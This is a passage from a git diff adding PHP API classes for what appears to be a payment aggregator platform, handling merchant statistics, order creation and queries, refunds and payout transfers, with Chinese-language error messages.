No newline at end of file diff --git a/includes/lib/api/Merchant.php b/includes/lib/api/Merchant.php new file mode 100644 index 0000000..6adfd4b --- /dev/null +++ b/includes/lib/api/Merchant.php @@ -0,0 +1,50 @@ +getColumn("SELECT count(*) from pre_order WHERE uid={$pid}"); + $lastday=date("Y-m-d",strtotime("-1 day")); + $today=date("Y-m-d"); + $order_today=$DB->getColumn("SELECT count(*) from pre_order where uid={$pid} and status=1 and date='$today'"); + $order_lastday=$DB->getColumn("SELECT count(*) from pre_order where uid={$pid} and status=1 and date='$lastday'"); + $order_today_all = round($DB->getColumn("SELECT sum(money) FROM pre_order WHERE uid={$pid} AND status=1 AND date='$today'"),2); + $order_lastday_all = round($DB->getColumn("SELECT sum(money) FROM pre_order WHERE uid={$pid} AND status=1 AND date='$lastday'"),2); + + $result = ['code'=>0, 'pid'=>$pid, 'status'=>$userrow['status'], 'pay_status'=>$userrow['pay'], 'settle_status'=>$userrow['settle'], 'money'=>$userrow['money'], 'settle_type'=>$userrow['settle_id'], 'settle_account'=>$userrow['account'], 'settle_name'=>$userrow['username'], 'order_num'=>$orders, 'order_num_today'=>$order_today, 'order_num_lastday'=>$order_lastday, 'order_money_today'=>strval($order_today_all), 'order_money_lastday'=>strval($order_lastday_all)]; + $result = array_filter($result, function($a){return !isEmpty($a);}); + return $result; + } + + public static function orders(){ + global $conf, $DB, $userrow, $queryArr; + + $pid=intval($queryArr['pid']); + $limit=isset($queryArr['limit'])?intval($queryArr['limit']):10; + $offset=isset($queryArr['offset'])?intval($queryArr['offset']):0; + $status=isset($queryArr['status'])?intval($queryArr['status']):null; + if($limit>50)$limit=50; + + $sql = " uid='{$pid}'"; + if(isset($queryArr['status'])){ + $status = intval($_GET['status']); + $sql .= " AND A.status='{$status}'"; + } + + $data = []; + $rs=$DB->query("SELECT A.*,B.name typename FROM pre_order A LEFT JOIN pre_type B ON A.type=B.id WHERE{$sql} ORDER BY trade_no DESC LIMIT {$offset},{$limit}"); + while($order=$rs->fetch(\PDO::FETCH_ASSOC)){ + $data[]=['trade_no'=>$order['trade_no'],'out_trade_no'=>$order['out_trade_no'],'api_trade_no'=>$order['api_trade_no'],'type'=>$order['typename'],'pid'=>$order['uid'],'addtime'=>$order['addtime'],'endtime'=>$order['endtime'],'name'=>$order['name'],'money'=>$order['money'],'param'=>$order['param'],'buyer'=>$order['buyer'],'clientip'=>$order['ip'],'status'=>$order['status'],'refundmoney'=>$order['refundmoney']]; + } + + $result['code'] = 0; + $result['data'] = $data; + return $result; + } +} \ No newline at end of file diff --git a/includes/lib/api/Pay.php b/includes/lib/api/Pay.php new file mode 100644 index 0000000..0e9f952 --- /dev/null +++ b/includes/lib/api/Pay.php @@ -0,0 +1,516 @@ +getRow("SELECT `uid`,`gid`,`key`,`money`,`mode`,`pay`,`cert`,`status`,`channelinfo`,`qq`,`ordername`,`keytype`,`publickey`,`deposit` FROM `pre_user` WHERE `uid`='{$pid}' LIMIT 1"); + if(!$userrow)sysmsg('商户不存在!'); + if(isset($queryArr['__defend'])){ + $defend_result = $queryArr['__defend']; + unset($queryArr['__defend']); + } + + try{ + \lib\ApiHelper::api_verify($userrow, $queryArr); + }catch(Exception $e){ + sysmsg($e->getMessage()); + } + + if($userrow['status']==0 || $userrow['pay']==0)sysmsg('商户已被封禁,无法支付!'); + + if($userrow['pay']==2 && $conf['user_review']==1)sysmsg('商户未通过审核,无法支付!'); + + $type=daddslashes($queryArr['type']); + $out_trade_no=daddslashes($queryArr['out_trade_no']); + $notify_url=htmlspecialchars(daddslashes($queryArr['notify_url'])); + $return_url=htmlspecialchars(daddslashes($queryArr['return_url'])); + $name=htmlspecialchars(daddslashes($queryArr['name'])); + $money=daddslashes($queryArr['money']); + $sitename=urlencode(base64_encode(htmlspecialchars($queryArr['sitename']))); + $param=isset($queryArr['param'])?htmlspecialchars(daddslashes($queryArr['param'])):null; + + + if(empty($out_trade_no))sysmsg('订单号(out_trade_no)不能为空'); + if(empty($notify_url))sysmsg('通知地址(notify_url)不能为空'); + if(empty($return_url))sysmsg('回调地址(return_url)不能为空'); + if(empty($name))sysmsg('商品名称(name)不能为空'); + if(empty($money))sysmsg('金额(money)不能为空'); + if($money<=0 || !is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))sysmsg('金额不合法'); + if($conf['pay_maxmoney']>0 && $money>$conf['pay_maxmoney'])sysmsg('最大支付金额是'.$conf['pay_maxmoney'].'元'); + if($conf['pay_minmoney']>0 && $money<$conf['pay_minmoney'])sysmsg('最小支付金额是'.$conf['pay_minmoney'].'元'); + if(!preg_match('/^[a-zA-Z0-9.\_\-|]+$/',$out_trade_no))sysmsg('订单号(out_trade_no)格式不正确'); + + $domain=getdomain($notify_url); + + $groupconfig = getGroupConfig($userrow['gid']); + $conf = array_merge($conf, $groupconfig); + + if($conf['cert_force']==1 && $userrow['cert']==0){ + sysmsg('当前商户未完成实名认证,无法收款'); + } + if($conf['forceqq']==1 && empty($userrow['qq'])){ + sysmsg('当前商户未填写联系QQ,无法收款'); + } + if($conf['pay_domain_forbid']==1){ + if(!$DB->getRow("SELECT * FROM pre_domain WHERE uid=:uid AND (domain=:domain OR domain=:domain2) AND status=1 LIMIT 1", [':uid'=>$pid, ':domain'=>get_host($notify_url), ':domain2'=>'*.'.get_main_host($notify_url)])){ + sysmsg('该域名不可发起支付,原因:域名没过白,请前往支付平台授权支付域名'); + } + } + if($conf['user_deposit']==1 && $conf['user_deposit_min'] > 0 && $conf['user_deposit_min'] > $userrow['deposit']){ + sysmsg('商户保证金不足,请前往支付平台充值保证金后再发起支付'); + } + + if(!empty($conf['blockname'])){ + $block_name = explode('|',$conf['blockname']); + foreach($block_name as $rows){ + if(!empty($rows) && strpos($name,$rows)!==false){ + $DB->exec("INSERT INTO `pre_risk` (`uid`, `url`, `content`, `date`) VALUES (:uid, :domain, :rows, NOW())", [':uid'=>$pid,':domain'=>$domain,':rows'=>$rows]); + sysmsg($conf['blockalert']?$conf['blockalert']:'该商品禁止出售'); + } + } + } + + $blackip = $DB->find('blacklist', '*', ['type'=>1, 'content'=>$clientip], null, 1); + if($blackip)sysmsg('系统异常无法完成付款'); + + if($conf['pay_iplimit'] > 0){ + $ipcount = $DB->getColumn("select count(*) from pre_order where `ip`='$clientip' and `date`='".date('Y-m-d')."' and status>0"); + if($ipcount >= $conf['pay_iplimit']){ + sysmsg('你今天已无法再发起支付,请明天再试'); + } + } + + if(checkPayVerifyOpen($pid)){ + $defend_key = getDefendKey($pid, $out_trade_no); + if(empty($defend_result) || $defend_key!==substr($defend_result,10,32)){ + showPayVerifyPage($defend_key, $queryArr); + } + } + + if(strlen($name)>127)$name=mb_strcut($name, 0, 127, 'utf-8'); + + $firstGetChannel = true; + $oldorder = $DB->getRow("SELECT * FROM `pre_order` WHERE `uid`=:uid AND `out_trade_no`=:out_trade_no", [':uid'=>$pid, ':out_trade_no'=>$out_trade_no]); + if($oldorder && time() - strtotime($oldorder['addtime']) < 864000){ + if($oldorder['status']>0){ + sysmsg('该订单('.$out_trade_no.')已完成支付,请勿重复发起支付'); + } + if(round($oldorder['money'],2) != round($money,2) || $oldorder['name'] != $name || $oldorder['notify_url'] != $notify_url || $oldorder['return_url'] != $return_url || $oldorder['param'] != $param){ + sysmsg('该订单('.$out_trade_no.')支付参数有变化,请更换订单号重新发起支付'); + } + $trade_no=$oldorder['trade_no']; + $typeid = $DB->getColumn("SELECT id FROM pre_type WHERE name=:name LIMIT 1", [':name'=>$type]); + if($oldorder['type'] > 0 && $oldorder['channel'] > 0 && $oldorder['realmoney'] > 0 && $oldorder['getmoney'] > 0 && $typeid == $oldorder['type']){ //订单已经获取过支付通道信息 + $firstGetChannel = false; + } + }else{ + $version = defined('API_INIT') ? 1 : 0; + $trade_no=date("YmdHis").rand(11111,99999); + if(!$DB->exec("INSERT INTO `pre_order` (`trade_no`,`out_trade_no`,`uid`,`addtime`,`name`,`money`,`notify_url`,`return_url`,`param`,`domain`,`ip`,`status`,`version`) VALUES (:trade_no, :out_trade_no, :uid, NOW(), :name, :money, :notify_url, :return_url, :param, :domain, :clientip, 0, :version)", [':trade_no'=>$trade_no, ':out_trade_no'=>$out_trade_no, ':uid'=>$pid, ':name'=>$name, ':money'=>$money, ':notify_url'=>$notify_url, ':return_url'=>$return_url, ':domain'=>$domain, ':clientip'=>$clientip, ':param'=>$param, ':version'=>$version]))sysmsg('创建订单失败,请返回重试!'); + } + + + if(empty($type)){ + echo ""; + exit; + } + + // 获取订单支付方式ID、支付插件、支付通道、支付费率 + if($firstGetChannel){ + $submitData = \lib\Channel::submit($type, $userrow['uid'], $userrow['gid'], $money); + if(!$submitData){ + echo ""; + exit; + } + if($userrow['mode']==1){ //订单加费模式 + $realmoney = round($money*(100+100-$submitData['rate'])/100,2); + $getmoney = $money; + if($conf['payfee_lessthan'] > 0 && $conf['payfee_mincost'] > 0){ + $feemoney = round($money*(100-$submitData['rate'])/100,2); + if($feemoney < round($conf['payfee_lessthan'], 2)){ + $realmoney = round($money + $conf['payfee_mincost'], 2); + } + } + }else{ + $realmoney = $money; + $getmoney = round($money*$submitData['rate']/100,2); + if($conf['payfee_lessthan'] > 0 && $conf['payfee_mincost'] > 0){ + $feemoney = round($money*(100-$submitData['rate'])/100,2); + if($feemoney < round($conf['payfee_lessthan'], 2)){ + $getmoney = round($money - $conf['payfee_mincost'], 2); + if($getmoney < 0) $getmoney = 0; + } + } + } + }else{ + $submitData = \lib\Channel::info($oldorder['channel']); + $submitData['typename'] = $type; + $submitData['subchannel'] = $oldorder['subchannel']; + $realmoney = $oldorder['realmoney']; + $getmoney = $oldorder['getmoney']; + } + + // 判断通道单笔支付限额 + if(!empty($submitData['paymin']) && $submitData['paymin']>0 && $money<$submitData['paymin']){ + sysmsg('
    当前支付方式单笔最小限额为'.$submitData['paymin'].'元,请选择其他支付方式!
    ', '跳转提示'); + } + if(!empty($submitData['paymax']) && $submitData['paymax']>0 && $money>$submitData['paymax']){ + sysmsg('
    当前支付方式单笔最大限额为'.$submitData['paymax'].'元,请选择其他支付方式!
    ', '跳转提示'); + } + // 商户直清模式判断商户余额 + if($submitData['mode']==1 && $realmoney-$getmoney>$userrow['money']){ + sysmsg('当前商户余额不足,无法完成支付,请商户登录用户中心充值余额'); + } + + if($firstGetChannel){ + // 随机增减金额 + if(!empty($conf['pay_payaddstart'])&&$conf['pay_payaddstart']!=0&&!empty($conf['pay_payaddmin'])&&$conf['pay_payaddmin']!=0&&!empty($conf['pay_payaddmax'])&&$conf['pay_payaddmax']!=0&&$realmoney>=$conf['pay_payaddstart'])$realmoney = round($realmoney + randomFloat(round($conf['pay_payaddmin'],2),round($conf['pay_payaddmax'],2)), 2); + + $DB->update('order', ['type'=>$submitData['typeid'], 'channel'=>$submitData['channel'], 'subchannel'=>$submitData['subchannel'], 'realmoney'=>$realmoney, 'getmoney'=>$getmoney], ['trade_no'=>$trade_no]); + } + + + $order['trade_no'] = $trade_no; + $order['out_trade_no'] = $out_trade_no; + $order['uid'] = $pid; + $order['addtime'] = date('Y-m-d H:i:s'); + $order['name'] = $name; + $order['realmoney'] = $realmoney; + $order['type'] = $submitData['typeid']; + $order['channel'] = $submitData['channel']; + $order['subchannel'] = $submitData['subchannel']; + $order['typename'] = $submitData['typename']; + $order['plugin'] = $submitData['plugin']; + $order['profits'] = \lib\Payment::updateOrderProfits($order, $submitData['plugin']); + + try{ + $result = \lib\Plugin::loadForSubmit($submitData['plugin'], $trade_no); + $result['submit'] = true; + \lib\Payment::echoDefault($result); + }catch(Exception $e){ + sysmsg($e->getMessage()); + } + } + + + public static function create(){ + global $conf, $DB, $clientip, $order, $userrow, $method, $device, $mdevice, $siteurl; + if(isset($_POST['pid'])){ + $queryArr=$_POST; + }else{ + echojsonmsg('未传入任何参数', -4); + } + + $pid=intval($queryArr['pid']); + if(empty($pid))echojsonmsg('商户ID不能为空'); + $userrow=$DB->getRow("SELECT `uid`,`gid`,`key`,`money`,`mode`,`pay`,`cert`,`status`,`channelinfo`,`qq`,`ordername`,`keytype`,`publickey`,`deposit` FROM `pre_user` WHERE `uid`='{$pid}' LIMIT 1"); + if(!$userrow)echojsonmsg('商户不存在!'); + + try{ + \lib\ApiHelper::api_verify($userrow, $queryArr); + }catch(Exception $e){ + echojsonmsg($e->getMessage(), -3); + } + + if($userrow['status']==0 || $userrow['pay']==0)echojsonmsg('商户已被封禁,无法支付!'); + + if($userrow['pay']==2 && $conf['user_review']==1)echojsonmsg('商户未通过审核,无法支付!'); + + $type=daddslashes($queryArr['type']); + $out_trade_no=daddslashes($queryArr['out_trade_no']); + $notify_url=htmlspecialchars(daddslashes($queryArr['notify_url'])); + $return_url=htmlspecialchars(daddslashes($queryArr['return_url'])); + $name=htmlspecialchars(daddslashes($queryArr['name'])); + $money=daddslashes($queryArr['money']); + $clientip=daddslashes($queryArr['clientip']); + $device=$queryArr['device']; + if(empty($device))$device = 'pc'; + $sub_openid=$queryArr['sub_openid']; + $sub_appid=$queryArr['sub_appid']; + $auth_code=$queryArr['auth_code']; + $sitename=urlencode(base64_encode(htmlspecialchars($queryArr['sitename']))); + $param=isset($queryArr['param'])?htmlspecialchars(daddslashes($queryArr['param'])):null; + $method=$queryArr['method']; //web/jump/jsapi/scan + if($device == 'jump')$method = 'jump'; + $mdevice=''; + if ($device=='qq'||$device=='wechat'||$device=='alipay'||$device=='app') { + $mdevice=$device; + $device='mobile'; + } + + if(empty($out_trade_no))echojsonmsg('订单号(out_trade_no)不能为空'); + if(empty($notify_url))echojsonmsg('通知地址(notify_url)不能为空'); + if(empty($name))echojsonmsg('商品名称(name)不能为空'); + if(empty($money))echojsonmsg('金额(money)不能为空'); + if(empty($type) && $method != 'scan')echojsonmsg('支付方式(type)不能为空'); + if(empty($clientip))echojsonmsg('用户IP地址(clientip)不能为空'); + if($money<=0 || !is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))echojsonmsg('金额不合法'); + if($conf['pay_maxmoney']>0 && $money>$conf['pay_maxmoney'])echojsonmsg('最大支付金额是'.$conf['pay_maxmoney'].'元'); + if($conf['pay_minmoney']>0 && $money<$conf['pay_minmoney'])echojsonmsg('最小支付金额是'.$conf['pay_minmoney'].'元'); + if(!preg_match('/^[a-zA-Z0-9.\_\-|]+$/',$out_trade_no))echojsonmsg('订单号(out_trade_no)格式不正确'); + if($method == 'jsapi' && empty($sub_openid))echojsonmsg('jsapi支付时参数(sub_openid)不能为空'); + if($method == 'jsapi' && $type=='wxpay' && empty($sub_appid))echojsonmsg('jsapi支付时参数(sub_appid)不能为空'); + if($method == 'scan' && empty($auth_code))echojsonmsg('付款码支付时授权码(auth_code)不能为空'); + if($method == 'scan' && empty($type)){ + $type = getScanPayType($auth_code); + if($type == 'unknown') echojsonmsg('未知的付款码类型'); + } + + $groupconfig = getGroupConfig($userrow['gid']); + $conf = array_merge($conf, $groupconfig); + + $domain=getdomain($notify_url); + + if($conf['cert_force']==1 && $userrow['cert']==0){ + echojsonmsg('当前商户未完成实名认证,无法收款'); + } + if($conf['forceqq']==1 && empty($userrow['qq'])){ + echojsonmsg('当前商户未填写联系QQ,无法收款'); + } + if($conf['pay_domain_forbid']==1){ + if(!$DB->getRow("SELECT * FROM pre_domain WHERE uid=:uid AND (domain=:domain OR domain=:domain2) AND status=1 LIMIT 1", [':uid'=>$pid, ':domain'=>get_host($notify_url), ':domain2'=>'*.'.get_main_host($notify_url)])){ + echojsonmsg('该域名不可发起支付,原因:域名没过白,请前往支付平台授权支付域名'); + } + } + if($conf['user_deposit']==1 && $conf['user_deposit_min'] > 0 && $conf['user_deposit_min'] > $userrow['deposit']){ + echojsonmsg('商户保证金不足,请前往支付平台充值保证金后再发起支付'); + } + + if(!empty($conf['blockname'])){ + $block_name = explode('|',$conf['blockname']); + foreach($block_name as $rows){ + if(!empty($rows) && strpos($name,$rows)!==false){ + $DB->exec("INSERT INTO `pre_risk` (`uid`, `url`, `content`, `date`) VALUES (:uid, :domain, :rows, NOW())", [':uid'=>$pid,':domain'=>$domain,':rows'=>$rows]); + echojsonmsg($conf['blockalert']?$conf['blockalert']:'该商品禁止出售'); + } + } + } + + $blackip = $DB->find('blacklist', '*', ['type'=>1, 'content'=>$clientip], null, 1); + if($blackip)echojsonmsg('系统异常无法完成付款'); + + if($conf['pay_iplimit'] > 0){ + $ipcount = $DB->getColumn("select count(*) from pre_order where `ip`='$clientip' and `date`='".date('Y-m-d')."' and status>0"); + if($ipcount >= $conf['pay_iplimit']){ + echojsonmsg('你今天已无法再发起支付,请明天再试'); + } + } + + if(checkPayVerifyOpen($pid)){ + echojsonmsg('本次支付需要安全验证,请使用跳转支付接口发起支付'); + } + + if(strlen($name)>127)$name=mb_strcut($name, 0, 127, 'utf-8'); + + $firstGetChannel = true; + $oldorder = $DB->getRow("SELECT * FROM `pre_order` WHERE `uid`=:uid AND `out_trade_no`=:out_trade_no", [':uid'=>$pid, ':out_trade_no'=>$out_trade_no]); + if($oldorder && time() - strtotime($oldorder['addtime']) < 864000){ + if($oldorder['status']>0){ + echojsonmsg('该订单('.$out_trade_no.')已完成支付,请勿重复发起支付'); + } + if(round($oldorder['money'],2) != round($money,2) || $oldorder['name'] != $name || $oldorder['notify_url'] != $notify_url || $oldorder['return_url'] != $return_url || $oldorder['param'] != $param){ + echojsonmsg('该订单('.$out_trade_no.')支付参数有变化,请更换订单号重新发起支付'); + } + $trade_no=$oldorder['trade_no']; + $typeid = $DB->getColumn("SELECT id FROM pre_type WHERE name=:name LIMIT 1", [':name'=>$type]); + if($oldorder['type'] > 0 && $oldorder['channel'] > 0 && $oldorder['realmoney'] > 0 && $oldorder['getmoney'] > 0 && $typeid == $oldorder['type']){ //订单已经获取过支付通道信息 + $firstGetChannel = false; + } + }else{ + $version = defined('API_INIT') ? 1 : 0; + $trade_no=date("YmdHis").rand(11111,99999); + if(!$DB->exec("INSERT INTO `pre_order` (`trade_no`,`out_trade_no`,`uid`,`addtime`,`name`,`money`,`notify_url`,`return_url`,`param`,`domain`,`ip`,`status`,`version`) VALUES (:trade_no, :out_trade_no, :uid, NOW(), :name, :money, :notify_url, :return_url, :param, :domain, :clientip, 0, :version)", [':trade_no'=>$trade_no, ':out_trade_no'=>$out_trade_no, ':uid'=>$pid, ':name'=>$name, ':money'=>$money, ':notify_url'=>$notify_url, ':return_url'=>$return_url, ':domain'=>$domain, ':clientip'=>$clientip, ':param'=>$param, ':version'=>$version]))echojsonmsg('创建订单失败,请返回重试!'); + } + + if(empty($type)){ + define("TRADE_NO", $trade_no); + \lib\Payment::echoJson(['type'=>'jump','url'=>$siteurl.'cashier.php?trade_no='.$trade_no.'&sitename='.$sitename]); + } + + // 获取订单支付方式ID、支付插件、支付通道、支付费率 + if($firstGetChannel){ + $submitData = \lib\Channel::submit($type, $userrow['uid'], $userrow['gid'], $money); + if(!$submitData){ + define("TRADE_NO", $trade_no); + \lib\Payment::echoJson(['type'=>'jump','url'=>$siteurl.'cashier.php?trade_no='.$trade_no.'&sitename='.$sitename.'&other=1']); + } + if($userrow['mode']==1){ //订单加费模式 + $realmoney = round($money*(100+100-$submitData['rate'])/100,2); + $getmoney = $money; + if($conf['payfee_lessthan'] > 0 && $conf['payfee_mincost'] > 0){ + $feemoney = round($money*(100-$submitData['rate'])/100,2); + if($feemoney < round($conf['payfee_lessthan'], 2)){ + $realmoney = round($money + $conf['payfee_mincost'], 2); + } + } + }else{ + $realmoney = $money; + $getmoney = round($money*$submitData['rate']/100,2); + if($conf['payfee_lessthan'] > 0 && $conf['payfee_mincost'] > 0){ + $feemoney = round($money*(100-$submitData['rate'])/100,2); + if($feemoney < round($conf['payfee_lessthan'], 2)){ + $getmoney = round($money - $conf['payfee_mincost'], 2); + if($getmoney < 0) $getmoney = 0; + } + } + } + }else{ + $submitData = \lib\Channel::info($oldorder['channel']); + $submitData['typename'] = $type; + $submitData['subchannel'] = $oldorder['subchannel']; + $realmoney = $oldorder['realmoney']; + $getmoney = $oldorder['getmoney']; + } + + // 判断通道单笔支付限额 + if(!empty($submitData['paymin']) && $submitData['paymin']>0 && $money<$submitData['paymin']){ + echojsonmsg('当前支付方式单笔最小限额为'.$submitData['paymin'].'元,请选择其他支付方式!'); + } + if(!empty($submitData['paymax']) && $submitData['paymax']>0 && $money>$submitData['paymax']){ + echojsonmsg('当前支付方式单笔最大限额为'.$submitData['paymax'].'元,请选择其他支付方式!'); + } + // 商户直清模式判断商户余额 + if($submitData['mode']==1 && $realmoney-$getmoney>$userrow['money']){ + echojsonmsg('当前商户余额不足,无法完成支付,请商户登录用户中心充值余额'); + } + + if($firstGetChannel){ + // 随机增减金额 + if(!empty($conf['pay_payaddstart'])&&$conf['pay_payaddstart']!=0&&!empty($conf['pay_payaddmin'])&&$conf['pay_payaddmin']!=0&&!empty($conf['pay_payaddmax'])&&$conf['pay_payaddmax']!=0&&$realmoney>=$conf['pay_payaddstart'])$realmoney = $realmoney + randomFloat(round($conf['pay_payaddmin'],2),round($conf['pay_payaddmax'],2)); + + $DB->update('order', ['type'=>$submitData['typeid'], 'channel'=>$submitData['channel'], 'subchannel'=>$submitData['subchannel'], 'realmoney'=>$realmoney, 'getmoney'=>$getmoney], ['trade_no'=>$trade_no]); + } + + $order['trade_no'] = $trade_no; + $order['out_trade_no'] = $out_trade_no; + $order['uid'] = $pid; + $order['addtime'] = date('Y-m-d H:i:s'); + $order['name'] = $name; + $order['realmoney'] = $realmoney; + $order['type'] = $submitData['typeid']; + $order['channel'] = $submitData['channel']; + $order['subchannel'] = $submitData['subchannel']; + $order['typename'] = $submitData['typename']; + $order['plugin'] = $submitData['plugin']; + $order['profits'] = \lib\Payment::updateOrderProfits($order, $submitData['plugin']); + $order['sub_openid'] = $sub_openid; + $order['sub_appid'] = $sub_appid; + $order['auth_code'] = $auth_code; + + if($method == 'jump'){ + define("TRADE_NO", $trade_no); + \lib\Payment::echoJson(['type'=>'jump','url'=>$siteurl.'pay/submit/'.$trade_no.'/']); + } + + try{ + $result = \lib\Plugin::loadForSubmit($submitData['plugin'], $trade_no, true); + \lib\Payment::echoJson($result); + }catch(Exception $e){ + echojsonmsg($e->getMessage()); + } + + } + + public static function query(){ + global $conf, $DB, $queryArr; + + $pid=intval($queryArr['pid']); + + if(!empty($queryArr['trade_no'])){ + $trade_no=daddslashes($queryArr['trade_no']); + $order=$DB->getRow("SELECT * FROM pre_order WHERE uid='{$pid}' and trade_no='{$trade_no}' limit 1"); + }elseif(!empty($queryArr['out_trade_no'])){ + $out_trade_no=daddslashes($queryArr['out_trade_no']); + $order=$DB->getRow("SELECT * FROM pre_order WHERE uid='{$pid}' and out_trade_no='{$out_trade_no}' limit 1"); + }else{ + throw new Exception('订单号不能为空'); + } + if($order){ + $type=$DB->getColumn("SELECT name FROM pre_type WHERE id='{$order['type']}' LIMIT 1"); + $result = ['code'=>0, 'trade_no'=>$order['trade_no'],'out_trade_no'=>$order['out_trade_no'],'api_trade_no'=>$order['api_trade_no'],'bill_trade_no'=>$order['bill_trade_no'],'type'=>$type,'pid'=>$order['uid'],'addtime'=>$order['addtime'],'endtime'=>$order['endtime'],'name'=>$order['name'],'money'=>$order['money'],'param'=>$order['param'],'buyer'=>$order['buyer'],'clientip'=>$order['ip'],'status'=>$order['status'],'refundmoney'=>$order['refundmoney']]; + $result = array_filter($result, function($a){return !isEmpty($a);}); + return $result; + }else{ + throw new Exception('订单号不存在'); + } + } + + public static function refund(){ + global $conf, $DB, $userrow, $queryArr; + + $pid=intval($queryArr['pid']); + if(!$conf['user_refund']) throw new Exception('管理员未开启商户后台自助退款'); + + $money = trim($queryArr['money']); + if(!is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))throw new Exception('金额输入错误'); + + if(!empty($queryArr['trade_no'])){ + $trade_no=daddslashes($queryArr['trade_no']); + }elseif(!empty($queryArr['out_trade_no'])){ + $out_trade_no=daddslashes($queryArr['out_trade_no']); + $trade_no = $DB->findColumn('order', 'trade_no', ['out_trade_no'=>$out_trade_no, 'uid'=>$pid]); + if(!$trade_no) throw new Exception('当前订单不存在!');; + }else{ + throw new Exception('订单号不能为空'); + } + + $refund_no = date("YmdHis").rand(11111,99999); + if(!empty($queryArr['out_refund_no']) && strlen($queryArr['out_refund_no']) > 5){ //判断商户是否重复提交退款 + $out_refund_no = daddslashes($queryArr['out_refund_no']); + $refund_order = $DB->find('refundorder', '*', ['out_refund_no'=>$out_refund_no, 'uid'=>$pid]); + if($refund_order && $refund_order['status'] == 1){ + $result = ['code'=>0, 'refund_no'=>$refund_order['refund_no'], 'out_refund_no'=>$refund_order['out_refund_no'], 'trade_no'=>$refund_order['trade_no'], 'uid'=>$refund_order['uid'], 'money'=>$refund_order['money'], 'reducemoney'=>$refund_order['reducemoney'], 'msg'=>'已存在相同退款单号!退款金额¥'.$refund_order['money']]; + return $result; + }elseif($refund_order && $refund_order['status'] == 0){ + $refund_no = $refund_order['refund_no']; + } + } + + $result = \lib\Order::refund($refund_no, $trade_no, $money, 1, $pid, $out_refund_no); + if($result['code'] == 0){ + $result['msg'] = '退款成功!退款金额¥'.$result['money']; + } + return $result; + } + + public static function refundquery(){ + global $conf, $DB, $queryArr; + + $pid=intval($queryArr['pid']); + if(!$conf['user_refund']) throw new Exception('管理员未开启商户后台自助退款'); + + if(!empty($queryArr['refund_no'])){ + $refund_no=daddslashes($queryArr['refund_no']); + $refund_order = $DB->find('refundorder', '*', ['refund_no'=>$refund_no, 'uid'=>$pid]); + }elseif(!empty($queryArr['out_refund_no'])){ + $out_refund_no=daddslashes($queryArr['out_refund_no']); + $refund_order = $DB->find('refundorder', '*', ['out_refund_no'=>$out_refund_no, 'uid'=>$pid]); + }else{ + throw new Exception('商户退款单号不能为空'); + } + + if(!$refund_order)throw new Exception('退款记录不存在'); + + $out_trade_no = $DB->findColumn('order', 'out_trade_no', ['trade_no'=>$refund_order['trade_no']]); + + $result = ['code'=>0, 'refund_no'=>$refund_order['refund_no'], 'out_refund_no'=>$refund_order['out_refund_no'], 'trade_no'=>$refund_order['trade_no'], 'out_trade_no'=>$out_trade_no, 'uid'=>$refund_order['uid'], 'money'=>$refund_order['money'], 'reducemoney'=>$refund_order['reducemoney'], 'status'=>$refund_order['status'], 'addtime'=>$refund_order['addtime'], 'endtime'=>$refund_order['endtime']]; + + return $result; + } +} \ No newline at end of file diff --git a/includes/lib/api/Transfer.php b/includes/lib/api/Transfer.php new file mode 100644 index 0000000..ac223d6 --- /dev/null +++ b/includes/lib/api/Transfer.php @@ -0,0 +1,186 @@ +getColumn("SELECT SUM(realmoney) from pre_order where uid={$pid} and tid<>2 and status=1 and endtime>='$today'"); + if(!$order_today) $order_today = 0; + $enable_money=round($userrow['money']-$order_today,2); + if($enable_money<0)$enable_money=0; + }else{ + $enable_money=$userrow['money']; + } + if(!$conf['transfer_rate'])$conf['transfer_rate'] = $conf['settle_rate']; + + $type = $queryArr['type']; + $out_biz_no = trim($queryArr['out_biz_no']); + $account = htmlspecialchars(trim($queryArr['account'])); + $name = htmlspecialchars(trim($queryArr['name'])); + $money = trim($queryArr['money']); + $desc = htmlspecialchars(trim($queryArr['remark'])); + + if(empty($type))throw new Exception('代付方式(type)不能为空'); + if(empty($out_biz_no)) $out_biz_no = date("YmdHis").rand(11111,99999); + if(empty($account))throw new Exception('收款人账号(account)不能为空'); + if(empty($name))throw new Exception('收款人姓名(name)不能为空'); + if(empty($money))throw new Exception('转账金额(money)不能为空'); + if(strlen($out_biz_no)!=19 || !is_numeric($out_biz_no))throw new Exception('交易号输入不规范'); + if($desc && mb_strlen($desc)>32)throw new Exception('转账备注最多32个字'); + if(!is_numeric($money) || !preg_match('/^[0-9.]+$/', $money) || $money<=0)throw new Exception('转账金额输入不规范'); + + $need_money = round($money + $money*$conf['transfer_rate']/100,2); + if($need_money>$enable_money)throw new Exception('需支付金额大于可转账余额'); + if($conf['transfer_minmoney']>0 && $money<$conf['transfer_minmoney'])throw new Exception('单笔最小代付金额限制为'.$conf['transfer_minmoney'].'元'); + if($conf['transfer_maxmoney']>0 && $money>$conf['transfer_maxmoney'])throw new Exception('单笔最大代付金额限制为'.$conf['transfer_maxmoney'].'元'); + if($userrow['settle']==0)throw new Exception('您的商户出现异常,无法使用代付功能'); + if($conf['transfer_maxlimit']>0){ + $a_count = $DB->getColumn('SELECT count(*) FROM pre_transfer WHERE uid=:uid AND type=:type AND account=:account AND paytime>=:paytime', [':uid'=>$pid, ':type'=>$type, ':account'=>$account, ':paytime'=>date('Y-m-d').' 00:00:00']); + if($a_count >= $conf['transfer_maxlimit']){ + throw new Exception('您今天向该账号的转账次数已达到上限'); + } + } + + if($type=='alipay'){ + $channelid = $conf['transfer_alipay']; + }elseif($type=='wxpay'){ + $channelid = $conf['transfer_wxpay']; + }elseif($type=='qqpay'){ + if (!is_numeric($account) || strlen($account)<6 || strlen($account)>10)throw new Exception('QQ号码格式错误'); + $channelid = $conf['transfer_qqpay']; + }elseif($type=='bank'){ + $channelid = $conf['transfer_bank']; + }else{ + throw new Exception('type参数错误'); + } + + if(!$channelid) throw new Exception('未开启此转账方式'); + $channel = \lib\Channel::get($channelid, $userrow['channelinfo']); + if(!$channel)throw new Exception('当前支付通道信息不存在',4); + + if(class_exists('\\lib\\AlipaySATF\\AlipaySATF') && $conf['alipay_satf']==1 && ($type=='alipay' || $type=='bank' && $conf['transfer_alipay']==$conf['transfer_bank'])){ + $bookid = $queryArr['bookid']; + if(!$bookid) $bookid = $DB->findColumn('satf_account_book', 'id', ['uid'=>$pid, 'status'=>1], 'money DESC'); + $satf = new \lib\AlipaySATF\AlipaySATF(); + $params = [ + 'out_biz_no' => $out_biz_no, + 'account' => $account, + 'name' => $name, + 'money' => $money, + 'remark' => 